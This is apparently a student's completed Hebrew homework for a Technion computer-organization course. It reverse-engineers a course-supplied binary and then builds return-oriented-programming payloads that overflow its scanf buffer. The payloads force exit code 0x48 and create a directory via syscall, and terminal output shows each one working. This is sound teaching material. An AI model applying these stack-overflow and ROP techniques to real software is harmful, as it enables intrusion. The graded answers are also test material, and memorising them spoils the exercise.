הטכניון – מכון טכנולוגי לישראל

ארגון ותכנות המחשב

תרגיל 3 - חלק יבש

המתרגל האחראי על התרגיל: תומר כץ.

שאלותיכם במייל בעניינים מנהלתיים בלבד, יופנו רק אליו.

שאלות בעל-פה ייענו על ידי כל מתרגל.

הוראות הגשה:

- לכל שאלה יש לרשום את התשובה במקום המיועד לכך.
- יש לענות על גבי טופס התרגיל ולהגיש אותו באתר הקורס כקובץ PDF.
- על כל יום איחור או חלק ממנו, שאינו בתיאום עם המתרגל האחראי, יורדו 5 נקודות.
  - גם הגשות באיחור יש להגיש באתר במקום המתאים לכך.
  - שאלות הנוגעות לתרגיל יש לשאול דרך הפיאצה בלבד.
  - ההגשה בזוגות.

מבוא

בעודכם מסתובבים במסדרונות בניין טאוב, בשביל להגיע להרצאה באת"מ, מצאתם על הרצפה דיסק-און-קי חשוד. על הדיסק-און-קי מוטבע הלוגו של המוסד ובצידו השני חרוטה כתובת בשפה זרה. בתוך הדיסק-און-אי נמצא קובץ ההרצה verySecretProgram (המוצרף לכם לתרגיל). מטרתכם בתרגיל בית זה היא לפענח מה אותה תוכנה מסתורית עושה. מומלץ להיעזר בכלים עליהם למדנו בקורס (objdump, readelf וכו').

שימו לב: שני חלקי התרגיל מבוססים על אותו קובץ verySecretProgram המצורף לתרגיל. אל דאגה הקובץ לא באמת יהרוס לכם את המחשב :)

חלק א' – Reverse Engenering (35 נקודות- 5 כל סעיף)

בחלק זה נסתכל ונחקור את התוכנית המקומפלת וננסה להבין מה היא עושה.

1. מה גודל ה Section header table? $29 \cdot 64 = 1856\ Bytes$
לאחר הרצת readelf -h verySecretProgram, קיבלנו שגודל כל section header הוא 64 בתים, ויש 29 section headers.
2. כמה program headers מוגדרים בקובץ? 9
לאחר הרצת readelf -h verySecretProgram, קיבלנו שמספר ה-program headers הוא 9.
3. עבור כל program header מסוג LOAD, הכניסו את נתוניו לטבלה הבאה (יתכנו שורות ריקות):

הרשאות (סמנו את ההרשאות)	גודל בזיכרון	גדול בקובץ	כתבות בזיכרון	מיקום בקובץ (offset בבתים)
R W X	0x20e0	0x20e0	0x400000	0x0
R W X	0x240	0x23a	0x602e10	0x2e10
R W X				
R W X				

4. מהו ערך הבית שנמצא בכתובת `0x4015f8`? 0x42

5. להלן הגדרה של משתנה שנמצא בכתובת `0x603040` השלימו את ערך האתחול החסר:

```
Unsigned long hash = 0x0939f103
```

<u>השאלה ממשיכה בעמוד הבא</u>

6. לאחר שאספתם בסעיפים הקודמים מספר נתונים יבשים על קובץ ההרצה, אתם כעת מעוניינים להבין ממש מה התוכנית שממנה נוצר קובץ ההרצה.
לצורך כך חבר שלכם שבמקרה עובד במחלקה הסודית להגנת הטכניון, השתמש ב-Decompiler המשוכלל שלו, אך לרוע מזלכם חלקים מן התוכנית לא הצליחו להשתחזר מפאת סודיות יתר. מלאו את החלקים החסרים בקטע הקוד הבא.
הערה: ניתן להשתמש בשם של המשתנה מהסעיף הקודם.

```
1.  int checkPasswordAux(char* s){
2.      int sum = 0;
3.      while(s != NULL){
4.          char c = *s;
5.          if(c-'a'> 25){
6.              return 100;
7.          }
8.          while(c){
9.              sum += c & 1;
10.             c = c >> 1;
11.         }
12.         s++;
13.         }
14.      return sum;
15.  }
16.  bool checkPassword(char* s){
17.     char* copy = s;
18.     if(checkPasswordAux(s) > 25){
19.         return 0;
20.     }
21.     s = copy;
22.     unsigned long y = 0;
23.     while(s != NULL){
24.         unsigned long x = *s – 'a';
25.         if(x > 25){
26.             return 0;
27.         }
28.         if(y > ~(x)){
29.             return 0;
30.         }
31.         y = 26y + x;
32.         s++;
33.     }
34.     return y == hash;
35. }
```

7. מהי הסיסמה הנכונה שתגרום לפונקציה checkPassword להחזיר true:

natanz

חלק ב' – חלק לח. Binary Exploitation (65 נקודות)

בחלק זה ננצל חולשה (פרצת אבטחה) בתוכנית בכדי לגרום לה להריץ קוד לבחירתנו על המחשב של המשתמש. נשתמש בטכניקה לניצול חולשות מסוג **ROP**. להלן הגדרת פונקציית main:

```
int main(){

    char password[16];
    printf("enter your password\n");
    scanf("%s", password);
    if(checkPassword(password)){
        printf("Good to see you back agent R. As you know your next mission
will take place in %s. See you there. \n", password);
        return 0;
    }
    printf("wrong password! After 3 wrong passwords this program will destroy
the computer. Good luck. \n");
    return -1;
}
```

1) הסבירו בקצרה מה הבעיה בקריאה של התוכנית ל scanf? (5 נקודות)

מפני שאין הגבלה על כמות התווים שהמשתמש יכול להכניס, כל התווים שהמשתמש יכניס מעבר ל-16 התווים ש-password יכולה להכיל ידרסו ערכים בזיכרון.

2) משתמש הכניס את הקלט הבא:

`supercalifragilisticexpialidocious`

לאיזה כתובת תקפוץ פקודת ret שמבצעת הפונקציה main בסופה? (5 נקודת)
רמז: לפתרון הסעיף מומלץ להסתכל בקוד אסמבלי של main או להשתמש ב־gdb.

הפקודה ret תקפוץ לכתובת 0x6f69636f64696c61.

לאחר הכנסת הסיסמה, 16 התווים `supercalifragili` ייכנסו לתוך password.

מעל password במחסנית יש את rbx ולכן 8 הבתים הבאים sticexpi יידרסו את הערך שלו.

לבסוף 8 הבתים alidocio יידרסו את ערך החזרה ששמור במחסנית.

בזיכרון הם שמורים כך: 6f 69 63 6f 64 69 6c 61, ולכן לאחר שנקרא ב-little endian נקבל את התשובה.

השאלה ממשיכה בעמוד הבא

3) בכל שורה בטבלה הבאה מופיע קוד קצר בעמודה השמאלית. עבור כל קטע קוד מלאו:

a. את קידוד הפקודות לפי סדר הופעתן, משמאל לימין.

b. כתובת בזיכרון התוכנית שבו נמצא קידוד הפקדות. אם הקידוד מופיע בכמה אזורי זיכרון בחרו באזור בעל הרשאות הרצה.

רמז: הכתובת בה מופיע הקידוד יכולה להיות שילוב של חלקים מקידוד של פקודות אחרות. לכן בסעיף זה מומלץ <u>שלא</u> להיעזר ב objdump.

ראו דוגמה בשורה הראשונה. (10 נקודות)

פקודות	קידוד	כתובת

`pop %r13`
`pop %rdi`
`ret`
	41 5d 5f c3	0x401b6b

`syscall`	0f 05	0x401178
`pop %rax` `ret`	58 c3	0x400e71

`pop %rsi`
`pop %r15`
`ret`
	5e 41 5f c3	0x401da1

`add %r15, %rdi` `ret`	4c 01 ff c3	0x4008f5

`push %rbp`
`mov %rsp, %rbp`
`call *%rax`
	55 48 89 e5 ff d0	0x400e1e

4) תנו דוגמא לקלט שיגרום לתוכנית לצאת עם קוד יציאה 0x48. להצגת קוד היציאה של התוכנית האחרונה שהרצתם הריצו את הפקודה "`echo $?`". צרפו צילום מסך של ערך היציאה. לכתיבת ערכים בינארים בתשובה שלכם השתמשו בפורמט \xHH. לדוגמה, אם הקלט הוא האות a ואחריה בית עם ערך 0x80 שאחריו 0x90, כתבו "a\x80\x90". אין חשיבות לפלט שיודפס לגבי נכונות הסיסמא. (15 נקודות)

הקלט שיגרום לתוכנית לצאת עם ערך היציאה הרצוי הוא:

\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x6d\x1b\x40\x00\x00\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x71\x0e\x40\x00\x00\x00\x00\x00\x3c\x00\x00\x00\x00\x00\x00\x00\x78\x11\x40\x00\x00\x00\x00\x00

24 הבתים הראשונים (שערכם שרירותי ובחרנו שיהיו 0x61='a') נועדו על מנת למלא את password ואת הערך של rbx במחסנית.

8 הבתים הבאים (\x6d\x1b\x40\x00\x00\x00\x00\x00) הם הכתובת של הפקודה "pop %rdi" מהסעיף הקודם שבעזרתה נעדכן את הערך של rdi שצפוי להכיל את ערך היציאה מהתוכנית לאחר שנבצע syscall עבור rax=60 כלומר exit.

8 הבתים הבאים (\x48\x00\x00\x00\x00\x00\x00\x00) יכילו את הערך שנרצה שיהיה בrdi לאחר שעשינו "pop %rdi".

8 הבתים הבאים (\x71\x0e\x40\x00\x00\x00\x00\x00) הם הכתובת של הפקודה "pop %rax" מהסעיף הקודם.

8 הבתים הבאים (\x3c\x00\x00\x00\x00\x00\x00\x00) יכילו את הערך שנרצה שיהיה ב-rax שהוא 60=0x3c על מנת שכשנגיע ל-syscall נבצע exit עם ערך היציאה שב-rdi.

8 הבתים האחרונים (\x78\x11\x40\x00\x00\x00\x00\x00) הם הכתובת של הפקודה syscall מהסעיף

הקודם.

מפני שבעת ביצוע syscall הערך של rax הוא 60 והערך של rdi הוא 0x48 אז נבצע יציאה מהתוכנית עם ערך היציאה 0x48=72.

```
~/Atam/hw3/hw3_dry > git  yuval_dry ?3
echo -e "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61
\x61\x61\x61\x61\x6d\x1b\x40\x00\x00\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x71\x0e\x40
\x00\x00\x00\x00\x00\x3c\x00\x00\x00\x00\x00\x00\x00\x78\x11\x40\x00\x00\x00\x00\x00" > inpu
t

~/Atam/hw3/hw3_dry > git  yuval_dry ?3
./verySecretProgram < input
enter your password
wrong password! After 3 wrong passwords this program will destroy the computer. Good luck.

~/Atam/hw3/hw3_dry > git  yuval_dry ?3                                                  72 x
echo $?
72

~/Atam/hw3/hw3_dry > git  yuval_dry ?3
```

<u>השאלה ממשיכה בעמוד הבא</u>

5) תנו דוגמא לקלט שיגרום לתוכנית ליצור תיקייה בשם `my_first_rop` עם הרשאות 0755 (אוקטלי) תחת התיקייה הנוכחית. הניחו שלא קיים קובץ או תיקייה בשם זה תחת התיקייה הנוכחית ושיש הרשאות ליצור תיקייה זו. אין חשיבות לדרך היציאה מהתוכנית ואין חשיבות לפלט שמודפס לגבי נבונות הסיסמה. בפרט, זה בסדר שהתוכנית תסתיים כתוצאה מsegfault או סיגנל אחר לאחר יצירת התיקייה. (30 נקודות)

הקלט שיגרום לתוכנית ליצור את התיקייה הוא:

```
aaaaaaaaaaamy_first_rop\x00\x71\x0e\x40\x00\x00\x00\x00\x00\xa1\x1d\x40\x00\x00\x0
0\x00\x00\x1e\x0e\x40\x00\x00\x00\x00\x00\x71\x0e\x40\x00\x00\x00\x00\x00\xa1\x1d\
x40\x00\x00\x00\x00\x00\x1e\x0e\x40\x00\x00\x00\x00\x00\x6d\x1b\x40\x00\x00\x00\x0
0\x00\xe3\xff\xff\xff\xff\xff\xff\xff\xf5\x08\x40\x00\x00\x00\x00\x00\xa1\x1d\x40\x00\x0
0\x00\x00\x00\xed\x01\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x71\x0e\x40
\x00\x00\x00\x00\x00\x53\x00\x00\x00\x00\x00\x00\x00\x78\x11\x40\x00\x00\x00\x00\x
00
```

ולצורך נוחות נפצל את הקלט למספר שורות:

1. aaaaaaaaaaamy_first_rop\x00
2. \x71\x0e\x40\x00\x00\x00\x00\x00
3. \xa1\x1d\x40\x00\x00\x00\x00\x00
4. \x1e\x0e\x40\x00\x00\x00\x00\x00
5. \x71\x0e\x40\x00\x00\x00\x00\x00
6. \xa1\x1d\x40\x00\x00\x00\x00\x00
7. \x1e\x0e\x40\x00\x00\x00\x00\x00
8. \x6d\x1b\x40\x00\x00\x00\x00\x00
9. \xe3\xff\xff\xff\xff\xff\xff\xff
10. \xf5\x08\x40\x00\x00\x00\x00\x00
11. \xa1\x1d\x40\x00\x00\x00\x00\x00
12. \xed\x01\x00\x00\x00\x00\x00\x00
13. \xff\xff\xff\xff\xff\xff\xff\xff
14. \x71\x0e\x40\x00\x00\x00\x00\x00
15. \x53\x00\x00\x00\x00\x00\x00\x00
16. \x78\x11\x40\x00\x00\x00\x00\x00

נסביר עבור כל שורה מה מטרתה ביצירת הפלט:

1. שורה זו מכילה 24 בתים שימלאו את password וידרסו את הערך של rbx. 13 הבתים האחרונים הם null-terminated string שיכיל את הכתובת לתיקייה שנרצה לפתוח (11 הבתים הראשונים הם שרירותיים ולא משנים לנו).
2. שורה זו מכילה את הכתובת של הפקודה "pop %rax" מסעיף 3 שנרצה להגיע אליה אחרי שנצא מ-main.
3. שורה זו מכילה את הכתובת של הפקודה "pop %rsi" מסעיף 3 שנרצה ש-rax יכיל.
4. שורה זו מכילה את הכתובת של הפקודה "push %rbp" מסעיף 3 שנרצה להגיע אליה מ-ret.
5. שורה זו תכיל את הכתובת של הפקודה "pop %rax" מסעיף 3. נסביר את מה שקרה משורה 4 עד לשורה זו:
   a. לאחר שקפצנו ל-"push %rbp" יידחף הערך שלו למחסנית שעל פי ההרצה יהיה 0x0 וידרוס ערכים שכבר לא משנים לנו.

b. בפקודה "mov %rsp, %rbp" נזיז את הערך של rsp לתוך rbp. לאחר שחישבנו את הערך של rsp גילינו שהוא יהיה שווה ל-addr+13+8*2 כאשר addr היא הכתובת שבה מתחילה המחרוזת my_first_rop\0 שתשמש אותנו בסופו של דבר.
c. ב-"call *%rax" נשמור את הערך הנוכחי של rip במחסנית ונקפוץ לכתובת ש-rax מכיל שהיא הכתובת של הפקודה "pop %rsi".
d. ב-"pop %rsi" נשים ב-rsi את ה-rip ש-call שם במחסנית והוא לא באמת רלוונטי עבורנו.
e. ב-"pop %r15" נשמור את הערך ש-rbp דחף למחסנית שהוא ערך זבל שלא עוזר לנו.

לבסוף נקפוץ לפקודה %rax.

6. שורה זו מכילה את הכתובת של הפקודה "pop %rsi" מסעיף 3 שנרצה ש-rax יכיל.
7. שורה זו מכילה את הכתובת של הפקודה "push %rbp" מסעיף 3 שנרצה להגיע אליה מ-ret.
8. שורה זו תכיל את הכתובת של "pop %rdi" מסעיף 3. נסביר את מה שקרה משורה 7 עד לשורה זו:
   a. לאחר שקפצנו ל-"push %rbp" יידחף הערך שלו למחסנית שעל פי שורה 5.b. יהיה addr+13+8*2 וידרוס ערכים שכבר לא משנים לנו.
   b. בפקודה "mov %rsp, %rbp" נזיז את הערך של rsp לתוך rbp, אבל הערך הזה כבר לא משנה לנו.
   c. ב-"call *%rax" נשמור את הערך הנוכחי של rip במחסנית ונקפוץ לכתובת ש-rax מכיל שהיא הכתובת של הפקודה "pop %rsi".
   d. ב-"pop %rsi" נשים ב-rsi את ה-rip ש-call שם במחסנית והוא לא באמת רלוונטי עבורנו.
   e. ב-"pop %r15" נשמור את הערך ש-rbp דחף למחסנית ששווה ל-addr+13+8*2 כאשר addr היא הכתובת שבה מתחילה המחרוזת my_first_rop\0 שתשמש אותנו בסופו של דבר.

לבסוף נקפוץ לפקודה "pop %rdi".

9. שורה זו מכילה את ה-offset (13+8*2)– שנרצה ש-rdi יכיל ובעזרת ה-offset ובעזרת מה ששמור ב-r15 נוכל לגשת לכתובת של שם התיקייה.
10. שורה זו תכיל את הכתובת של "add %r15, %rdi" מסעיף 3, על מנת ש-rdi יכיל את הכתובת של התיקייה החדשה.
11. שורה זו מכילה את הכתובת של הפקודה "pop %rsi" מסעיף 3 שנרצה להגיע אליה מ-ret.
12. שורה זו תכיל את ההרשאות שנרצה עבור הקובץ (0x01ed=0755) על מנת שכשנעשה "pop %rsi" הערך שייכנס ל-rsi הוא ההרשאות שאמורות להיות בו לפני שנקרא ל-syscall.
13. שורה זו מכילה ערך זבל שיצא מהמחסנית ב-"pop %r15".
14. שורה זו מכילה את הכתובת של הפקודה "pop %rax" מסעיף 3 שנרצה להגיע מ-ret.
15. שורה זו מכילה את מספר ה-syscall עבור יצירת תיקייה חדשה (0x53=83) שנרצה שייכנס ל-rax ב-"pop %rax".
16. שורה זו מכילה את הכתובת של syscall מסעיף 3 שכאשר:

rax = 0x53
rsi = 0x1ed
rdi = address of my_first_rop\0

תפתח את התיקייה החדשה בשם my_first_rop עם ההרשאות 0755 תחת התיקייה הנוכחית.

```
~/Atam/hw3/hw3_dry  main !1 ?1
ls
2_4.jpg   2_4.txt   2_5.txt   HW3-Dry.docx   hexdump.txt   input   pass.py   verySecretProgram   '~$W3-Dry.docx'

~/Atam/hw3/hw3_dry  main !1 ?1
echo -e "aaaaaaaaaaamy_first_rop\x00\x71\x0e\x40\x00\x00\x00\x00\x00\xa1\x1d\x40\x00\x00\x00\x00\x00\x1e\x0e\x40\x00\
x00\x00\x00\x00\x71\x0e\x40\x00\x00\x00\x00\x00\xa1\x1d\x40\x00\x00\x00\x00\x00\x1e\x0e\x40\x00\x00\x00\x00\x00\x6d\x1b\
x40\x00\x00\x00\x00\x00\xe3\xff\xff\xff\xff\xff\xff\xff\xf5\x08\x40\x00\x00\x00\x00\x00\xa1\x1d\x40\x00\x00\x00\x00\x00\
xed\x01\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x71\x0e\x40\x00\x00\x00\x00\x00\x53\x00\x00\x00\x00\x00\
x00\x00\x78\x11\x40\x00\x00\x00\x00\x00" > input

~/Atam/hw3/hw3_dry  main !1 ?1
./verySecretProgram < input
enter your password
wrong password! After 3 wrong passwords this program will destroy the computer. Good luck.
[1]    3545 segmentation fault  ./verySecretProgram < input

~/Atam/hw3/hw3_dry  main !1 ?1                                                    SEGV x
ls
2_4.jpg   2_5.txt        hexdump.txt   my_first_rop   verySecretProgram
2_4.txt   HW3-Dry.docx   input         pass.py        '~$W3-Dry.docx'
```